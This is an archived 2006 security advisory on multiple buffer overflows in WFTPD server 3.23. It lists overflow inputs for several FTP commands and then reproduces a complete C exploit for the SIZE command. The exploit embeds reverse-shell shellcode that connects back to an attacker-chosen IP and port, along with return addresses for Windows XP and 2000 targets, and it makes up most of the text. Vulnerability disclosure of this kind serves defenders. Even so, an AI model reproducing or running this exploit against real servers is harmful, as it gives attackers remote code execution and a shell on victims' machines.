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[NT] WFTPD Multiple Buffer Overflows (CWD, DELE, MDTM, MKD, RMD, MLST, RNFR, SIZE, XCWD, XMKD, XRMD)

2006-08-21T00:00:00
ID SECURITYVULNS:DOC:13977
Type securityvulns
Reporter Securityvulns
Modified 2006-08-21T00:00:00

Description

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WFTPD Multiple Buffer Overflows (CWD, DELE, MDTM, MKD, RMD, MLST, RNFR, SIZE, XCWD, XMKD, XRMD)

SUMMARY

<http://www.wftpd.com/wftpdreg.htm> WFTPD Server "is the entry level FTP server for all Windows platforms". Multiple buffer overflow vulnerabilities have been found in WFTPD server allowing remote attackers to cause the product to execute arbitrary code.

DETAILS

Vulnerable Systems: * WFTPD server version 3.23

The following command combinations can be used to cause the WFTPD to execute arbitrary code by overflowing its EIP register, NOTE the WFTPD option: "restrict to home directory and below" should be set to disabled: buffer["CWD "]+["/"]+["\x90" * 261]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["DELE "]+["/"]+["\x90" * 297]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["MDTM "]+["/"]+["\x90" * 273]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["MKD "]+["/"]+["\x90" * 265]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["RMD "]+["/"]+["\x90" * 261]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["MLST "]+["/"]+["\x90" * 517]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["SIZE "]+["/"]+["\x90" * 525]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["XCWD "]+["/"]+["\x90" * 261]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["XMKD "]+["/"]+["\x90" * 265]+[0x41414141]+["\r\n"] EIP = 0x41414141

buffer["XRMD "]+["/"]+["\x90" * 261]+[0x41414141]+["\r\n"] EIP = 0x41414141

Exploit: /////////////////////////////////////////////////////////////////////// // WFTPD server 3.23 (SIZE) 0day remote buffer overflow exploit /////// // coded by h07 <h07@interia.pl> ///////////////////////////////////// // tested on XP SP2 polish, 2000 SP4 polish /////////////////////////// ///////////////////////////////////////////////////////////////////////

include <winsock2.h>

define BUFF_SIZE 1024

define PORT 21

//win32 reverse shellcode (metasploit.com)

char shellcode[] =

"\x31\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6" "\x10\x92\x98\x83\xeb\xfc\xe2\xf4\x4a\x7a\x79\xd5\x5e\xe9\x6d\x67" "\x49\x70\x19\xf4\x92\x34\x19\xdd\x8a\x9b\xee\x9d\xce\x11\x7d\x13" "\xf9\x08\x19\xc7\x96\x11\x79\xd1\x3d\x24\x19\x99\x58\x21\x52\x01" "\x1a\x94\x52\xec\xb1\xd1\x58\x95\xb7\xd2\x79\x6c\x8d\x44\xb6\xb0" "\xc3\xf5\x19\xc7\x92\x11\x79\xfe\x3d\x1c\xd9\x13\xe9\x0c\x93\x73" "\xb5\x3c\x19\x11\xda\x34\x8e\xf9\x75\x21\x49\xfc\x3d\x53\xa2\x13" "\xf6\x1c\x19\xe8\xaa\xbd\x19\xd8\xbe\x4e\xfa\x16\xf8\x1e\x7e\xc8" "\x49\xc6\xf4\xcb\xd0\x78\xa1\xaa\xde\x67\xe1\xaa\xe9\x44\x6d\x48" "\xde\xdb\x7f\x64\x8d\x40\x6d\x4e\xe9\x99\x77\xfe\x37\xfd\x9a\x9a" "\xe3\x7a\x90\x67\x66\x78\x4b\x91\x43\xbd\xc5\x67\x60\x43\xc1\xcb" "\xe5\x53\xc1\xdb\xe5\xef\x42\xf0\xb6\x10\x92\x98\xd0\x78\x92\x98" "\xd0\x43\x1b\x79\x23\x78\x7e\x61\x1c\x70\xc5\x67\x60\x7a\x82\xc9" "\xe3\xef\x42\xfe\xdc\x74\xf4\xf0\xd5\x7d\xf8\xc8\xef\x39\x5e\x11" "\x51\x7a\xd6\x11\x54\x21\x52\x6b\x1c\x85\x1b\x65\x48\x52\xbf\x66" "\xf4\x3c\x1f\xe2\x8e\xbb\x39\x33\xde\x62\x6c\x2b\xa0\xef\xe7\xb0" "\x49\xc6\xc9\xcf\xe4\x41\xc3\xc9\xdc\x11\xc3\xc9\xe3\x41\x6d\x48" "\xde\xbd\x4b\x9d\x78\x43\x6d\x4e\xdc\xef\x6d\xaf\x49\xc0\xfa\x7f" "\xcf\xd6\xeb\x67\xc3\x14\x6d\x4e\x49\x67\x6e\x67\x66\x78\x62\x12" "\xb2\x4f\xc1\x67\x60\xef\x42\x98";

void config_shellcode(unsigned long ip, unsigned short port) { memcpy(&shellcode[184], &ip, 4); memcpy(&shellcode[190], &port, 2); }

unsigned long target[] = { 0x7d16887b, //JMP ESI (XP SP2 polish) 0x776f2015, //JMP ESI (2000 SP4 polish) 0x7cb9e082, //JMP ESI (XP SP2 english) 0x7848a5f1, //JMP ESI (2000 SP4 english) 0x7ca96834 //JMP ESI (XP SP2 german) };

char buffer[BUFF_SIZE];

main(int argc, char argv[]) { int sock, id, opt, r_len; unsigned long eip; unsigned long connectback_IP; unsigned short connectback_port; struct hostent he; struct sockaddr_in client; WSADATA wsa;

printf("\n[] WFTPD server 3.23 (SIZE) 0day remote buffer overflow exploit\n"); printf("[] coded by h07 <h07@interia.pl>\n");

if(argc < 8) { printf("[] usage:..\n %s <ID> <opt> <host> <user> <pass> <connectback_IP> <connectback_port>\n\n", argv[0]); printf("[] ID list:\n"); printf("[>] 0: XP SP2 polish\n"); printf("[>] 1: 2000 SP4 polish\n"); printf("[>] 2: XP SP2 english\n"); printf("[>] 3: 2000 SP4 english\n"); printf("[>] 4: XP SP2 german\n\n"); printf("[] opt - WFTPD option 'restrict to home directory and below'\n"); printf("[>] 0: disabled\n"); printf("[>] 1: enabled\n\n"); printf("[] sample: %s 0 0 192.168.0.2 h07 open 192.168.0.1 4444\n\n", argv[0]); exit(0); }

WSAStartup(MAKEWORD(2, 0), &wsa);

id = atoi(argv[1]); opt = atoi(argv[2]);

if((id > 4) || (id < 0)) { printf("[-] ID error: unknown target\n"); exit(-1); }

if((opt > 1) || (opt < 0)) { printf("[-] opt error: unknown option\n"); exit(-1); }

eip = target[id]; connectback_IP = inet_addr(argv[6]) ^ (ULONG)0x989210b6; connectback_port = htons(atoi(argv[7])) ^ (USHORT)0x9892; config_shellcode(connectback_IP, connectback_port);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if((he = gethostbyname(argv[3])) == NULL) { printf("[-] Unable to resolve\n"); exit(-1); }

client.sin_addr = ((struct in_addr )he->h_addr); client.sin_port = htons(PORT); client.sin_family = AF_INET;

if(connect(sock, (struct sockaddr *) &client, sizeof(client)) == -1) { printf("[-] error: connect()\n"); exit(-1); }

recv(sock, buffer, BUFF_SIZE -1, 0);

//USER memset(buffer, 0, BUFF_SIZE); sprintf(buffer, "USER %s\r\n", argv[4]); send(sock, buffer, strlen(buffer), 0); recv(sock, buffer, BUFF_SIZE -1, 0); printf("[*] FTP response: %s", buffer);

//PASS memset(buffer, 0, BUFF_SIZE); sprintf(buffer, "PASS %s\r\n", argv[5]); send(sock, buffer, strlen(buffer), 0); recv(sock, buffer, BUFF_SIZE -1, 0); printf("[*] FTP response: %s", buffer);

if(strstr(buffer, "530") != 0) exit(-1);

//SIZE memset(buffer, 0x90, BUFF_SIZE); memcpy(buffer, "SIZE ", 5);

switch(opt) { case 0: { memcpy(buffer + 5, "/", 1); r_len = 531; break; } case 1: { memcpy(buffer + 5, "//", 2); r_len = 532; break; } }

memcpy(buffer + 7, shellcode, sizeof(shellcode) -1); ((unsigned long)(&buffer[r_len])) = eip; memcpy(buffer + (r_len + 4), "\r\n\x00", 3);

if(send(sock, buffer, strlen(buffer), 0) != -1) printf("[+] sending buffer: ok\n"); else printf("[-] sending buffer: failed\n");

printf("[*] press enter to quit\n"); getchar(); }

//EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:h07@interia.pl> h07.

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